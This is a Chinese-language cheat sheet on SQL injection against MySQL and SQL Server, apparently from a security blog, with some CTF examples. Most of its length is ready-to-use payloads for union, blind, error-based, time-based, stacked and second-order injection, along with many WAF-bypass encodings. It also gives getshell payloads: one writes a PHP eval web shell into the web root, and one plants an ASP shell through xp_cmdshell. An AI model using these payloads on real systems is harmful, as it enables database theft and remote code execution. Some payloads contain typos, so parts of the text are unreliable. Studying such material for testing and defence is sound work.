sql注入总结#
2021/4/19 首发
2021/5/29 对报错注入、二次注入、bypass有所补充,新增宽字节注入
0x00注入原理#
SQL注入主要通过闭合字符串,注释后续本来为命令的一部分字符改变为文本的方式来对sql语句进行拼接达到执行任意sql命令的目的
SQL注入式攻击的主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在再次查询时,存储的字符串会连接到一个SQL命令中,执行一些注入者想要的恶意的QL代码(这种注入方式一般被称为二次注入)。
0x01注入类型的判断#
按变量类型分类#
数字型#
可以进行?id=3-1进行测试,如果回显结果是?id=2的回显的话,那说明注入点为数字型
字符型#
可以进行?id=2a进行测试,如果回显结果是?id=2的回显的话,那说明注入点为字符型
0x02判断后台数据库种类#
其中mysql最为常见
根据操作系统平台#
sql server:Windows(IIS)
MySQL:Apache
根据web语言#
Microsoft SQL Server:ASP和.Net
MySQL:PHP
Oracle/MySQL:java
以下以mysql数据库为主
0x03手工注入#
MySQL版本大于5.0和小于5.0的注入流程区别比较大,下午主要以大于5.0版本为主
常用函数#
信息数据库
information_schema(after mysql 5.0)
系统数据库,记录当前数据库的数据库,表,列,用户权限等信息
SCHEMATA
储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等
TABLES
储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等
COLUMNS
储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等
length(str) :返回字符串str的长度
substr(str, pos, len) :将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len) :跟上面的一样,截取字符串
ascii(str) :返回字符串str的最左面字符的ASCII代码值
ord(str) :将字符或布尔类型转成ascll码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
基本流程思路#
1.判断注入点#
1
2
3
|
数字型:id=2-1
字符型:' 、')、 '))、 "、 ")、 "))
注释符:-- (这是--空格)、--+、/**/、#
|
2.获取字段数和观察页面回显的字段处#
3.获取数据库名#
1
2
|
select null,null,database()
and 1=2 union select (select group_concat(schema_name)from information schema.schemata),
|
4.获取表名#
1
2
|
select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
union select (select group_concat(table_name)from information_schema.tables),2,3
|
1
|
select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1
|
5.获取表中的字段#
1
2
|
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='xxxxxxxx'
union select (select group_concat(column_name)from information_schema.columns),2,3
|
6.获取各个字段的具体值#
1
2
|
select null,group_concat(username,password) from xxxxxxx
union select(select group_concat(id,'~',uname)from test.users),2,3
|
常见的注入方法#
注释符#
主要用于注释后续代码为注释文本
1
2
3
4
|
# %23
--(空格)或--+
/**/
/*!...*/
|
union注入#
**user() :**当前使用者的用户名
**database():**当前数据库名
**version():**数据库版本
**datadir:读取数据库的绝对路径@@vasedir:mysql安装路径@@version_compile_os:操作系统concat():连接一个或者多个字符串group_concat():**连接一个组的所有字符串,并以逗号分隔每一条数据
1
2
3
|
id =-1 union select 1,2,3
xx' union select 1,(select database()) #
xx' union select (select database()),2 or ' //这里如果把查询语句放到2的位置上,因为or的关系会不能显示正常查询的内容
|
布尔注入#
当查询页面会根据查询的成功和失败出现两种不同页面时可以考虑使用bool注入
常用函数
1.char() 解ASCII码;
2.mid()截取字符串;
举例:mid(‘hello’,1,3),从第1位开始截取3位,输出位hel
3.substr()与mid()相同,都为截取字符串;
4.count()计算查询结果的行数;
5.concat()查询结果合并但保持原有行数;
6.group_concat()查询结果合并但都放在一行中;
7.ascii() 查询ascii码;
猜数据库长度(利用二分法);
- id=1 and (length(database()))>1
- id=1 and (length(database()))>50
猜第一个字符,第二个字符,以此类推
- and ascii(mid(database(),1,1))>1
- and ascii(mid(database(),2,1))>1
1
|
id=1' substr(database(),1,1)='t'#
|
查询当前数据库中所有表名;
1
|
and (select count(table_name)from information_schema.tables where tables_schema=database())>1and (select count(table_name)from information_schema.tables where tables_schema=database())>10
|
查询第一个表的长度;
1
|
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10
|
查询表的第一个字符;
1
|
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
|
查询atelier表里有几个字段;
1
|
and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2
|
查询第一个字段长度;
1
|
and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1
|
查询字段第一个字符;
1
|
and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105
|
查询字段所有行数;
1
|
and (select count(*) from db83231_asfaa.atelier)>4
|
查询字段名的行数(查询emails表,uname字段);
1
|
and (select count(uname)from security.emails)>7 查询uname的行数
|
查询字段内容;
1
|
length((select username from security.users limit 0,1))>10ascii(mid((select username from security.user limit 0,1),1,1))>100
|
报错注入#
前提是后端有Exception这种异常处理的回显才能使用,不然即使能报错你也看不到回显。
floor()和rand()#
1
|
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用错误信息得到当前数据库名*/
|
1
|
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
|
updatexml()#
1
|
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
|
geometrycollection()#
1
|
id=1 and geometrycollection((select * from(select * from(select user())a)b))
|
multipoint()#
1
|
id=1 and multipoint((select * from(select * from(select user())a)b))
|
polygon()#
1
|
id=1 and polygon((select * from(select * from(select user())a)b))
|
multipolygon()#
1
|
id=1 and multipolygon((select * from(select * from(select user())a)b))
|
linestring()#
1
|
id=1 and linestring((select * from(select * from(select user())a)b))
|
multilinestring()#
1
|
id=1 and multilinestring((select * from(select * from(select user())a)b))
|
exp()#
1
|
id=1 and exp(~(select * from(select user())a))
|
其他引出报错的方法#
在information_schema等被过滤的前提下,可以使用以下方法绕过并引发报错
爆数据库名
1
|
select * from test where id=1-a();
|
爆表名
1
|
select extractvalue(1,concat(0x7e,(select * from users where id=1 and Polygon(id))))
|
爆字段名
用union
1
|
select * from test where id =1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from test)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
|
不用union
1
2
3
|
select name from test where id=1 and (select * from (select * from test as a join test as b) as c);
// 第一个字段出来后,使用using爆第二个
select name from test where id=1 and (select * from (select * from test as a join test as b using(id)) as c);
|
eg:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
mysql> select * from (select * from users as a join news as b) as c;
ERROR 1060 (42S21): Duplicate column name ‘id’
mysql> select * from (select * from users a join users b using(id)) c;
ERROR 1060 (42S21): Duplicate column name ‘name’
mysql> select * from (select * from users a join users b using(id,name)) c;
ERROR 1060 (42S21): Duplicate column name ‘passwd’
mysql> select * from (select * from users a join users b using(id,name,passwd)) c;
|
时间注入#
在boolean注入无回显时,使用次方法来判断是否成功
1
2
3
4
5
6
7
8
|
基于sleep的延迟
xx' or if(length((select database()))>1,sleep(5),1) #
笛卡尔乘积运算时间造成的时间延迟
xx' or if(length((select database()))>1,(select count(*) FROM information_schema.columns A,information_schema.columns p B,information_schema.columns C),1) #
基于benchmark的延迟
xx'or if(length((select database()))>1,(select BENCHMARK(10000000,md5('a'))),1) #--大概会用2S时间
|
一般流程
爆库名
1
2
|
and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3))%23
使用二分法,一步一步爆出数据库名,假设其中有一数据库名为flag
|
爆表名
1
2
|
and if(ascii(substr((select table_name from information_schema.tables where table_schema=’flag’ limit 1,1) ,1,1))>101,1,sleep(3)) %23
假设有一表名为flagtable
|
爆列名
1
2
|
and if(ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 1,1) ,1,1))>100,1,sleep(3)) %23,
假设爆出列名为name和password
|
爆表中的内容
1
|
and if(ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1) ,1,1))>48,1,sleep(3)) %23
|
堆叠查询注入#
利用handler
1
|
id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23
|
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
基本形式
1
2
3
4
5
6
7
8
9
10
11
12
|
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
//其中 HANDLER tbl_name OPEN AS example
//其后 HANDLER example READ index_name="example2"
|
利用rename
以强网杯随便注为例
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3 ,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。
1
2
3
|
1'; rename table words to word1; rename table `1919810931114514` to words; alert table words
add id int unsigned not Null auto_increment primary key ; alert table words change flag data
varchar(100); #
|
具体思路为将需要获得的数据的表、列等名字修改为目前可以查询到的表和列的名字,需要注意的是,在修改需要获得数据的表、列的名字前,需要先将目前可以查询到的表和名字先进行修改,然后在利用页面本来就有的查询功能查询敏感数据。
利用execute
同距离19强网杯的随便注
execute用来执行由SQLPrepare创建的SQL语句。
将select * from 1919810931114514
进行16进制编码
再构造出
1
|
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
|
prepare…from…是预处理语句,会进行编码转换。利用这个来让语句进行解码
二次注入#
把非法代码写入数据库(利用‘\’进行转义写入),然后在其他地方调用这个数据拼接成为非法代码写入sql语句中
简单的逻辑如下
非法代码转义 —存入—>数据库—取出—>后台变量中—拼接—>组成非法语句
eg:[SWPU2019]Web1
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#group by获取列数
-1'/**/group/**/by/**/22,'11
#查看版本
-1'/**/union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取表名
-1'/**/union/**/select/**/1,
(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
,19,20,21,'22
#获取用户名
-1'/**/union/**/select/**/1,
(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele
ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取密码
-1'/**/union/**/select/**/1,
(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele
ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
|
内联注入#
举例:
1
|
id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
|
利用别名:
1
|
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)
|
宽字节注入#
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
getshell#
1
|
id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+
|
也可使用dumpfile进行写入。
outfile和dumpfile的区别:
outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。
数据库写入:
1
|
exec master..xp_cmdshell 'echo "<%eXECutegLobaL rEquEst(0)%>" > "c:www\uploadFiles2019-11404.asp"'
|
利用查询不存在用户时虚构用户进行注入#
mysql在查询不存在的数据时,会自动构建虚拟数据
可以看到表自动加上了一个用户
我们可以用这个来进行登录进去admin账户等用途
bypass#
关键字嵌套,大小写绕过#
union=⇒UNiunionoN
编码绕过#
URL编码 #→%23
16进制编码 users→0x7573657273
ASCII编码
Unicode编码
双重编码
末尾注释:#,%23,-,—+
//注释可以用于代替空格,%0b代替//
内联注释/!要执行的code/例如:id=1/!UnIoN/SeLeCT
’ 和 " 注释,用于闭合SQL语句中的引号
关键字替换#
-
空格替换:/**/,%a0,()
-
and替换:&&
-
or替换:||
-
=替换:<,>,like , rlike
-
引号替换:用16进制编码
-
逗号绕过
substr、mid()函数中可以利用from to来摆脱对逗号的利用;
limit中可以利用offset来摆脱对逗号的利用
-
比较符号( >、< )绕过(greatest、between and)
-
逻辑符号的替换(and=&& or=|| xor=| not=!)
等价函数绕过#
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()举例:substring()和substr()无法使用时:
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select ‘password’),1,1) = 0x70
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1
特殊符号#
反引号,select version()
,绕过空格和正则加号和点,"+“和”.“代表连接,也可绕过空格和关键字过滤@符号,用于定义变量,一个@代表用户变量,@@代表系统变量
关键字拆分#
1
|
'se'+'lec'+'t'%S%E%L%C%T 1,2,3?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')!和():'or--+2=--!!!'2id=1+(UnI)(oN)+(SeL)(EcT)
|
加括号绕过#
小括号
1
|
union (select+1,2,3+from+users)%23union(select(1),(2),(3)from(users))id=(1)or(0x50=0x50)id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))
|
花括号
1
|
select{x user}from{x mysql.user}id=-1 union select 1,{x 2},3
|
前提:mysql≥5.7
url https://www.anquanke.com/post/id/193512
用sys替代
拿表名
1
2
3
4
5
6
7
8
|
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
获取第一列列名
?id=-1' union all select*from (select * from users as a join users b)c--+
依次的列名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+
|
http参数污染#
如果一个网站只在tomcat服务器处做数据过滤和处理,我们可以利用解析参数的不同,对WAF检测进行绕过。
1
|
index.php?id=1&id=-1' union select 1,database(),3--+
|
其他trick#
万能密码#
1
2
3
|
' or '1'='1 //完整语句 select username,age from userinfo where id='' or '1'='1'
' or 1=1# //完整语句 select username,age from userinfo where id='' or 1=1#'
'=0# //完整语句 select username,age from userinfo where id=''=0#
|
判断三种数据库的语句#
1
2
3
|
MySQL:and length(user())>10
ACCESS:and (select count(*)from MSysAccessObjects)>0
MSSQL:and (select count(*)from sysobjects)>0
|
注意点#
表名,列名为数字时,要使用``反引号括起来,例如1231818